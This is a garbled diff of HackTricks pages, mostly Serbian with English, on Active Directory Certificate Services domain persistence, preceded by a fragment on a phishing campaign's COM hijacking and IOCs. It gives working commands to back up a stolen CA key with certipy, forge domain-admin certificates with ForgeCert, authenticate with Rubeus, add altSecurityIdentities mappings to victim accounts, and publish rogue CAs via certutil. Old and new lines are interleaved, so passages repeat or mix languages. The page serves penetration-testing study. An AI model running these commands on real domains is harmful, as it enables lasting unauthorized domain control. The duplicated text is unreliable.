- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugrađuje ponovo automatski pokreće payload. See details and ready-to-use commands here:
Persistence korišćen u istom lancu
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja app koja ga ugradi ponovo automatski pokrene payload. Pogledajte detalje i gotove komande ovde:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
@ -203,11 +201,20 @@ Persistence korišćena u istom lancu
Hunting/IOCs
- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara decoy dokument.
- AMSI manipulacija putem [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Dugotrajne poslovne konverzacije koje se završavaju linkovima hostovanim na pouzdanim PaaS domenima.
- .lnk koji pretražuje parent/user foldere da locira ZIP i otvori lažni dokument.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Dugotrajni business threads koji se završavaju linkovima hostovanim na pouzdanim PaaS domenima.
## References
## Windows fajlovi za krađu NTLM hashes
Proverite stranicu o **mestima za krađu NTLM creds**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Reference
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)

View File

@ -1,27 +1,27 @@
# AD CS Perzistencija u domenu
# AD CS Domain Persistence
{{#include ../../../banners/hacktricks-training.md}}
**Ovo je sažetak tehnika perzistencije u domenu podeljenih u [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Proverite taj izvor za dodatne detalje.
**Ovo je sažetak tehnika perzistencije u domenu iz [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Pogledajte ga za više detalja.
## Lažiranje sertifikata sa ukradenim CA sertifikatima - DPERSIST1
## Forging Certificates with Stolen CA Certificates - DPERSIST1
Kako možete da utvrdite da je sertifikat CA sertifikat?
How can you tell that a certificate is a CA certificate?
Može se utvrditi da je sertifikat CA sertifikat ako su ispunjeni sledeći uslovi:
It can be determined that a certificate is a CA certificate if several conditions are met:
- Sertifikat je uskladišten na CA serveru, a njegov privatni ključ je zaštićen mašinskim DPAPI-jem ili hardverom poput TPM/HSM ako operativni sistem to podržava.
- Polja Issuer i Subject sertifikata se poklapaju sa distinguished name-om CA.
- Sertifikat je smešten na CA serveru, a njegov privatni ključ je zaštićen DPAPI-jem mašine, ili hardverom kao što su TPM/HSM ako operativni sistem to podržava.
- Polja Issuer i Subject sertifikata se poklapaju sa distinguished name CA.
- Ekstenzija "CA Version" prisutna je isključivo u CA sertifikatima.
- Sertifikat nema polja Extended Key Usage (EKU).
- Sertifikat nema Extended Key Usage (EKU) polja.
Za izvlačenje privatnog ključa ovog sertifikata, alat `certsrv.msc` na CA serveru je podržana metoda putem ugrađenog GUI-ja. Ipak, ovaj sertifikat se ne razlikuje od ostalih pohranjenih u sistemu; stoga se za ekstrakciju mogu primeniti metode kao što je [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2).
Za ekstrakciju privatnog ključa ovog sertifikata, podržani metod je korišćenje alata certsrv.msc na CA serveru putem ugrađenog GUI-ja. Ipak, ovaj sertifikat se ne razlikuje od ostalih koji su pohranjeni u sistemu; stoga se mogu primeniti metode kao što je [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) za ekstrakciju.
Sertifikat i privatni ključ se takođe mogu dobiti korišćenjem Certipy pomoću sledeće naredbe:
Sertifikat i privatni ključ se takođe mogu dobiti pomoću Certipy sa sledećom naredbom:
```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
```
Po pribavljanju CA sertifikata i njegovog privatnog ključa u `.pfx` formatu, alati poput [ForgeCert](https://github.com/GhostPack/ForgeCert) mogu se koristiti za generisanje validnih sertifikata:
Nakon pribavljanja CA sertifikata i njegovog privatnog ključa u `.pfx` formatu, alati poput [ForgeCert](https://github.com/GhostPack/ForgeCert) mogu se iskoristiti za generisanje važećih sertifikata:
```bash
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
```
> [!WARNING]
> Korisnik kome je cilj falsifikovanje sertifikata mora biti aktivan i sposoban da se autentifikuje u Active Directory-ju da bi proces uspeo. Falsifikovanje sertifikata za specijalne naloge kao što je krbtgt nije efikasno.
> Korisnik koji je meta falsifikovanja sertifikata mora biti aktivan i sposoban da se autentifikuje u Active Directory da bi proces uspeo. Falsifikovanje sertifikata za specijalne naloge kao što je krbtgt je neefikasno.
Ovaj falsifikovani sertifikat će biti **važeći** do navedenog datuma isteka i sve dok je korenski CA sertifikat **važeći** (obično od 5 do **10+ godina**). Takođe važi za **mašine**, pa u kombinaciji sa **S4U2Self**, napadač može **održavati persistenciju na bilo kojoj mašini u domenu** sve dok CA sertifikat važi.\
Ovaj falsifikovani sertifikat će biti **važeći** do datuma isteka navedenog i sve dok root CA sertifikat bude važeći (obično od 5 do **10+ godina**). Takođe je važi za **mašine**, pa u kombinaciji sa **S4U2Self**, napadač može **održavati persistence na bilo kojoj mašini u domenu** sve dok je CA sertifikat važeći.\
Štaviše, **sertifikati generisani** ovom metodom **ne mogu biti opozvani** jer CA za njih nije svestan.
### Rad pod Strong Certificate Mapping Enforcement (2025+)
Od 11. februara 2025. (posle roll-out-a KB5014754), kontroleri domena podrazumevano koriste **Full Enforcement** za mapiranja sertifikata. U praksi to znači da vaši falsifikovani sertifikati moraju ili:
Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either:
- Sadržati snažnu vezu sa ciljnim nalogom (na primer, SID security extension), ili
- Biti upareni sa jakim, eksplicitnim mapiranjem na atributu ciljnog objekta `altSecurityIdentities`.
- Sadržati snažnu vezu sa ciljnim nalogom (na primer, the SID security extension), ili
- Biti upareni sa snažnim, eksplicitnim mapiranjem na `altSecurityIdentities` atributu ciljnog objekta.
Pouzdan pristup za održavanje persistencije je da se izda falsifikovani sertifikat povezan sa ukradenim Enterprise CA i zatim doda snažno eksplicitno mapiranje na žrtvinom principal-u:
A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal:
```powershell
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
@ -57,14 +57,15 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
```
Napomene
- Ako možete kreirati forged certificates koji uključuju SID security extension, oni će se mapirati implicitno čak i pod Full Enforcement. U suprotnom, preferirajte eksplicitna snažna mapiranja. See [account-persistence](account-persistence.md) for more on explicit mappings.
- Opoziv ovde ne pomaže braniteljima: forged certificates nisu poznati CA database i stoga ih nije moguće opozvati.
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
[account-persistence](account-persistence.md) for more on explicit mappings.
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
## Trusting Rogue CA Certificates - DPERSIST2
Objekat `NTAuthCertificates` je definisan da sadrži jedan ili više **CA certificates** u okviru svog `cacertificate` atributa, koji koristi Active Directory (AD). Proces verifikacije od strane **domain controller** uključuje proveru objekta `NTAuthCertificates` da li postoji unos koji odgovara **CA specified** u polju Issuer autentifikacione **certificate**. Autentifikacija se nastavlja ako se nađe podudaranje.
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
Napadač može dodati self-signed CA certificate u objekat `NTAuthCertificates`, pod uslovom da ima kontrolu nad ovim AD objektom. Obično samo članovi grupe **Enterprise Admin**, zajedno sa **Domain Admins** ili **Administrators** u **forest roots domain**, imaju dozvolu da modifikuju ovaj objekat. Mogu izmeniti objekat `NTAuthCertificates` koristeći `certutil.exe` komandom `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, ili koristeći [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest roots domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
Additional helpful commands for this technique:
```bash
@ -77,34 +78,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
```
Ova mogućnost je posebno relevantna kada se koristi zajedno sa ranije opisanim metodom koja uključuje ForgeCert za dinamičko generisanje sertifikata.
Ova mogućnost je posebno relevantna kada se koristi zajedno sa prethodno opisanom metodom koja uključuje ForgeCert za dinamičko generisanje sertifikata.
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
## Malicious Misconfiguration - DPERSIST3
## Maliciozna pogrešna konfiguracija - DPERSIST3
Mogućnosti za **persistence** putem **izmena security descriptor-a komponenti AD CS** su brojne. Izmene opisane u "[Domain Escalation](domain-escalation.md)" sekciji mogu biti zlonamerno sprovedene od strane napadača sa povišenim privilegijama. To uključuje dodavanje "control rights" (npr. `WriteOwner`/`WriteDACL`/itd.) osetljivim komponentama kao što su:
Mogućnosti za **persistence** kroz izmene security descriptor-a AD CS komponenti su brojne. Izmene opisane u sekciji [Eskalacija domena](domain-escalation.md) mogu biti zlonamerno implementirane od strane napadača sa povišenim privilegijama. To uključuje dodavanje "control rights" (npr. `WriteOwner`/`WriteDACL`/itd.) osetljivim komponentama kao što su:
- The **CA servers AD computer** object
- The **CA servers RPC/DCOM server**
- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members)
- **AD computer objekat CA servera**
- **RPC/DCOM server CA servera**
- Bilo koji **descendant AD object or container** u **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (na primer, Certificate Templates container, Certification Authorities container, the `NTAuthCertificates` object, itd.)
- **AD grupe kojima su dodeljena prava za kontrolu AD CS** po defaultu ili od strane organizacije (kao što je ugrađena Cert Publishers grupa i bilo koji od njenih članova)
Primer zlonamerne implementacije bi uključivao napadača koji ima **povišene dozvole** u domenu i dodaje `WriteOwner` dozvolu na podrazumevani `User` certificate template, pri čemu je napadač subjekt za to pravo. Da bi iskoristio ovo, napadač bi prvo promenio ownership `User` template-a na sebe. Nakon toga, `mspki-certificate-name-flag` bi bio postavljen na **1** na template-u da omogući `ENROLLEE_SUPPLIES_SUBJECT`, dopuštajući korisniku da u zahtevu navede Subject Alternative Name. Zatim bi se napadač mogao **enroll-ovati** koristeći taj **template**, izabrati ime **domain administrator-a** kao alternativno ime, i iskoristiti dobijeni sertifikat za autentifikaciju kao DA.
Primer zlonamerne implementacije bi uključivao napadača koji ima **elevated permissions** u domeni i dodaje dozvolu **`WriteOwner`** na podrazumevani `User` certificate template, sa napadačem postavljenim kao principal za to pravo. Da bi iskoristio ovo, napadač bi prvo promenio ownership `User` template-a na sebe. Nakon toga, `mspki-certificate-name-flag` bi bio postavljen na **1** na template-u da omogući **`ENROLLEE_SUPPLIES_SUBJECT`**, što dozvoljava korisniku da navede Subject Alternative Name u zahtevu. Zatim bi napadač mogao da se **enroll**-uje koristeći taj **template**, izabere ime domain administrator-a kao alternativni naziv i iskoristi pribavljeni sertifikat za autentifikaciju kao DA.
Praktični parametri koje napadači mogu podesiti za dugoročnu persistenciju u domenu (vidi {{#ref}}domain-escalation.md{{#endref}} za kompletne detalje i detekciju):
Praktične postavke koje napadači mogu podesiti za dugoročnu persistence u domenu (pogledajte {{#ref}}domain-escalation.md{{#endref}} za potpune detalje i detekciju):
- CA policy flags koji dozvoljavaju SAN iz zahteva (npr. omogućavanje `EDITF_ATTRIBUTESUBJECTALTNAME2`). Ovo održava exploitable putanje slične ESC1.
- Template DACL ili podešavanja koja dopuštaju izdavanje sposobno za autentifikaciju (npr. dodavanje Client Authentication EKU, omogućavanje `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Kontrolisanje `NTAuthCertificates` objekta ili CA container-a da kontinuirano vrate rogue issuere ako branioci pokušaju čišćenje.
- CA policy flags koje dozvoljavaju SAN iz zahtevaoca (npr. omogućavanje `EDITF_ATTRIBUTESUBJECTALTNAME2`). Ovo ostavlja ESC1-like puteve iskoristivim.
- Template DACL ili podešavanja koja omogućavaju izdavanje sposobno za autentifikaciju (npr. dodavanje Client Authentication EKU, omogućavanje `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Kontrolisanje `NTAuthCertificates` objekta ili CA kontejnera kako bi se kontinuirano ponovo uvozili rogue issuers ako branitelji pokušaju čišćenje.
> [!TIP]
> U ojačanim okruženjima nakon KB5014754, udruživanje ovih pogrešnih konfiguracija sa eksplicitnim jakim mapiranjima (`altSecurityIdentities`) osigurava da vaši izdata ili falsifikovani sertifikati ostanu upotrebljivi čak i kada DC-ovi primenjuju strong mapping.
> U hardened okruženjima nakon KB5014754, kombinovanje ovih pogrešnih konfiguracija sa eksplicitnim snažnim mapiranjima (`altSecurityIdentities`) osigurava da vaši izdate ili falsifikovani sertifikati ostanu upotrebljivi čak i kada DC-ovi primenjuju strong mapping.
## References
- Microsoft KB5014754 Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
- Microsoft KB5014754 Promene u autentifikaciji zasnovanoj na sertifikatima na Windows domain controller-ima (vremenski okvir primene i strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Komandni priručnik i upotreba forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}}